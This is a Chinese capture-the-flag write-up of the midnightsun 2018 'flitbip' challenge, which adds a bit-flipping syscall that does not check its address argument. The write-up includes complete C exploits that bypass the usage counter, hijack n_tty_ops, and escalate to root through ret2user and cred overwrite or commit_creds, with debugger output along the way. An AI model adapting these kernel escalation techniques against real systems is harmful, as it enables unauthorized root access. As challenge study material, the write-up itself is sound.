midnightsun-2018-flitbip:任意地址写

题目下载

启动脚本

启动脚本如下,没开启任何保护

#!/bin/bash
qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./initrd \-nographic \-monitor /dev/null \-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null

题目:自定义的系统调用

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>#define MAXFLIT 1#ifndef __NR_FLITBIP
#define FLITBIP 333
#endiflong flit_count = 0;
EXPORT_SYMBOL(flit_count);SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{if (flit_count >= MAXFLIT){printk(KERN_INFO "flitbip: sorry :/\n");return -EPERM;}*addr ^= (1ULL << (bit));flit_count++;return 0;
}

题目提供了一个新的系统调用号,调用号为333
该系统调用有两个参数:addrbit
作用:对addr地址存储数据的第bit位与1进行异或(起始下标是第0位)
限制:使用全局变量long flit_count限制异或功能的次数,进入系统调用检查flit_count是否大于等于1

  • 如果等于1,则直接退出
  • 小于1,则对数据进行异或,并增加flit_count的值

也就是正常情况下,该系统调用的异或功能只能起作用一次


题目问题:系统调用未对传递的addr参数做检查,可以传入内核空间的地址。

  • 由于未开启地址随机化,可以传入flit_count全局变量的地址,使系统调用中的异或功能使用次数不受限
  • 通过系统调用中的异或功能,实现任意地址写,进而提权

准备编译打包脚本

为了变量编写的poc能被快速验证,创建了一个shell 脚本,用于编译poc,并将编译好的poc打包进initrd中

#!/bin/bashecho "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name  -masm=intel -o $elf_nameecho "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv 
rm ./initrd
cp ../$elf_name $elf_nameecho "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd

使用方式

./build.sh xxx.c

就能将xxx.c编译为xxx,并打包到initrd

获取flit_count和其他内核符号的地址信息

通过/proc/kallsyms

首先在启动脚本中添加nokaslr取消地址随机化
再修改initrd中的init启动文件

setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

再重新打包initrd,以root用户权限查看/proc/kallsyms中符号的地址

通过vmlinux-to-elf + ida

bzImage转换为elf文件,放入到ida中

vmlinux-to-elf bzImage vmlinux

在导出窗口就能看见符号地址
在这里插入图片描述

通过vmlinux-to-elf + pwntools

这个比较方便
还是先通过vmlinux-to-elf转换bzImageelf文件
再使用pwntools提取符号

from pwn import *vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))

尝试调用自定义系统调用

编写代码,调用系统调用看看自定义系统调用的功能
测试a=1时,将a中数据第3位与1进行异或(起始下标是第0位)

0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}int main()
{int a = 1;int result = call_flitbip(&a, 3);printf("Now num is %d, result = %d\n", a , result);return 0;
}

进行编译打包

./build.sh 01-syscall.c

运行qemu启动脚本,查看结果

/ $ ./01_syscall 
Now num is 9, result = 0  <<<<<<<<<< 二进制 1000 ^ 0001 = 1001 / $ ./01_syscall 
Now num is 1, result = -1   <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $ 

修改flit_count,使flit_count >= 1判断绕过

这里将flit_count 修改为负数,则判断就绕过了
flit_count 是long类型,8字节,将第63为修改为1就是负数(起始下标是第0位)

#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}const ulong flit_count = 0xffffffff818f4f78;int main()
{call_flitbip(flit_count, 63); return 0;
}

找到_x64_sys_flitbip的地址为0xFFFFFFFF810AE72D,下端进行调试
在系统调用前,查看flit_count的值为0

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x0000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

再经过异或之后,值为0x8000000000000000

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

之后flit_count再自增1,值为0x8000000000000001

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000001	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

这样基本就可以不受限使用自定义系统调用的异或功能了,从而实现任意地址写

ret2user + 修改cred

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}void get_root() {int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);for (int i = 1; i < 9; i++)cred[i] = 0;*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);for (unsigned long i=0; i<64; i++) {if (val &  (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30  , i);}scanf("%c", &a);while(1);return 0;
}

ret2user + commit_creds(prepare_kernel_cred(0));

// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;void get_root() {commit_creds(prepare_kernel_cred(0));// 回复 n_tty_ops->read的值*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);// 画了个很简单的图,一看就明白意思for (unsigned long i=0; i<64; i++) {if (val &  (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30  , i);}scanf("%c", &a);while(1);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2775921.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

预测模型:MATLAB线性回归

1. 线性回归模型的基本原理 线性回归是统计学中用来预测连续变量之间关系的一种方法。它假设变量之间存在线性关系&#xff0c;可以通过一个或多个自变量&#xff08;预测变量&#xff09;来预测因变量&#xff08;响应变量&#xff09;的值。基本的线性回归模型可以表示为&…

备战蓝桥杯---动态规划(基础2)

本专题主要是介绍几个比较经典的题目&#xff1a; 假设我们令f[i]为前i个的最长不下降子序列&#xff0c;我们会发现难以转移方程很难写&#xff08;因为我们不知道最后一个数&#xff09;。 于是&#xff0c;我们令f[i]为以i结尾的最长不下降子序列&#xff0c;这样子我们就可…

香港倾斜模型3DTiles数据漫游

谷歌地球全香港地区倾斜摄影数据&#xff0c;通过工具转换成3DTiles格式&#xff0c;将这份数据完美加载到三维数字地球Cesium上进行完美呈现&#xff0c;打造香港地区三维倾斜数据覆盖&#xff0c;完美呈现香港城市壮美以及维多利亚港繁荣景象。再由12.5米高分辨率地形数据&am…

SpringCloud-Ribbon:负载均衡(基于客户端)

6. Ribbon&#xff1a;负载均衡(基于客户端) 6.1 负载均衡以及Ribbon Ribbon是什么&#xff1f; Spring Cloud Ribbon 是基于Netflix Ribbon 实现的一套客户端负载均衡的工具。简单的说&#xff0c;Ribbon 是 Netflix 发布的开源项目&#xff0c;主要功能是提供客户端的软件负…

【Java EE】----SpringBoot的日志文件

1.SpringBoot使用日志 先得到日志对象通过日志对象提供的方法进行打印 2.打印日志的信息 3.日志级别 作用&#xff1a; 可以筛选出重要的信息不同环境实现不同日志级别的需求 ⽇志的级别分为&#xff1a;&#xff08;1-6级别从低到高&#xff09; trace&#xff1a;微量&#…

SCI 1区论文:Segment anything in medical images(MedSAM)[文献阅读]

基本信息 标题&#xff1a;Segment anything in medical images中文标题&#xff1a;分割一切医学图像发表年份: 2024年1月期刊/会议: Nature Communications分区&#xff1a; SCI 1区IF&#xff1a;16.6作者: Jun Ma; Bo Wang(一作&#xff1b;通讯)单位&#xff1a;加拿大多…

排序算法---插入排序

原创不易&#xff0c;转载请注明出处。欢迎点赞收藏~ 插入排序是一种简单直观的排序算法&#xff0c;它的基本思想是将待排序的元素分为已排序和未排序两部分&#xff0c;每次从未排序部分中选择一个元素插入到已排序部分的合适位置&#xff0c;直到所有元素都插入到已排序部分…

微软技术专家带你学 AI|Azure OpenAI 服务

点击蓝字 关注我们 编辑&#xff1a;Alan Wang 排版&#xff1a;Rani Sun 微软技术专家带你学 AI 新的一年&#xff0c;为帮助开发者们在 Azure 上掌握人工智能&#xff0c;我们特别带来「微软技术专家带你学 AI」系列&#xff0c;通过4期的课程&#xff0c;带大家从机器学习的…

ES高可用架构涉及常用功能整理

ES高可用架构涉及常用功能整理 1. es的高可用系统架构和相关组件2. es的核心参数2.1 常规配置2.2 特殊优化配置2.2.1 数据分片按ip打散2.2.2 数据分片机架感知2.2.3 强制要求数据分片机架感知2.2.4 写入线程池优化2.2.5 分片balance优化2.2.6 限流控制器优化 3. es常用命令3.1 …

在屏蔽任何FRP环境下从零开始搭建安全的FRP内网穿透服务

背景 本人目前在境外某大学读博&#xff0c;校园网屏蔽了所有内网穿透的工具的数据包和IP访问&#xff0c;为了实现在家也能远程访问服务器&#xff0c;就不得不先开个学校VPN&#xff0c;再登陆。我们实验室还需要访问另一个大学的服务器&#xff0c;每次我都要去找另一个大学…

海外云手机——平台引流的重要媒介

随着互联网的飞速发展&#xff0c;跨境电商、短视频引流以及游戏行业等领域正经历着迅猛的更新换代。在这个信息爆炸的时代&#xff0c;流量成为至关重要的资源&#xff0c;而其中引流环节更是关乎业务成功的关键。海外云手机崭露头角&#xff0c;成为这一传播过程中的重要媒介…

消息中间件:Puslar、Kafka、RabbigMQ、ActiveMQ

消息队列 消息队列&#xff1a;它主要用来暂存生产者生产的消息&#xff0c;供后续其他消费者来消费。 它的功能主要有两个&#xff1a; 暂存&#xff08;存储&#xff09;队列&#xff08;有序&#xff1a;先进先出 从目前互联网应用中使用消息队列的场景来看&#xff0c;…

【龙年大礼】| 2023中国开源年度报告!

【中国开源年度报告】由开源社从 2015 年发起&#xff0c;是国内首个结合多个开源社区、高校、媒体、风投、企业与个人&#xff0c;以纯志愿、非营利的理念和开源社区协作的模式&#xff0c;携手共创完成的开源研究报告。后来由于一些因素暂停&#xff0c;在 2018 年重启了这个…

Qt PCL学习(二):点云读取与保存

注意事项 版本一览&#xff1a;Qt 5.15.2 PCL 1.12.1 VTK 9.1.0前置内容&#xff1a;Qt PCL学习&#xff08;一&#xff09;&#xff1a;环境搭建 0. 效果演示 1. pcl_open_save.pro QT core guigreaterThan(QT_MAJOR_VERSION, 4): QT widgets// 添加下行代码&#…

[word] word2019段落中创建纵横混排的方法图解教程 #知识分享#其他#职场发展

word2019段落中创建纵横混排的方法图解教程 有时候在word文档中需要让文字纵横混排&#xff0c;word2019正好为我们带来了纵横混排的功能了&#xff0c;今天我们就来给大家介绍一下word2019段落中创建纵横混排的方法。 步骤1&#xff1a;打开Word文档&#xff0c;选中需要纵向…

MT4和MT5中如何创建挂单,很简单,fpmarkets1秒教会

其实在MT4和MT5中创建挂单是非常容易的&#xff0c;今天fpmarkets1秒教会&#xff0c;接下来一步一步的演示&#xff1a; 首先单击新订单&#xff0c;将出现设置窗口。在“类型”选项卡中选择“按待定顺序”。 接着选择挂单的类型。选择买入止损单&#xff0c;并指定订单执行的…

【Leetcode】236. 二叉树的最近公共祖先

文章目录 题目思路代码结果 题目 题目链接 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可…

Python爬虫http基本原理#2

Python爬虫逆向系列&#xff08;更新中&#xff09;&#xff1a;http://t.csdnimg.cn/5gvI3 HTTP 基本原理 在本节中&#xff0c;我们会详细了解 HTTP 的基本原理&#xff0c;了解在浏览器中敲入 URL 到获取网页内容之间发生了什么。了解了这些内容&#xff0c;有助于我们进一…

攻防世界 CTF Web方向 引导模式-难度1 —— 1-10题 wp精讲

目录 view_source robots backup cookie disabled_button get_post weak_auth simple_php Training-WWW-Robots view_source 题目描述: X老师让小宁同学查看一个网页的源代码&#xff0c;但小宁同学发现鼠标右键好像不管用了。 不能按右键&#xff0c;按F12 robots …

备战蓝桥杯---搜索(完结篇)

再看一道不完全是搜索的题&#xff1a; 解法1&#xff1a;贪心并查集&#xff1a; 把冲突事件从大到小排&#xff0c;判断是否两个在同一集合&#xff0c;在的话就返回&#xff0c;不在的话就合并。 下面是AC代码&#xff1a; #include<bits/stdc.h> using namespace …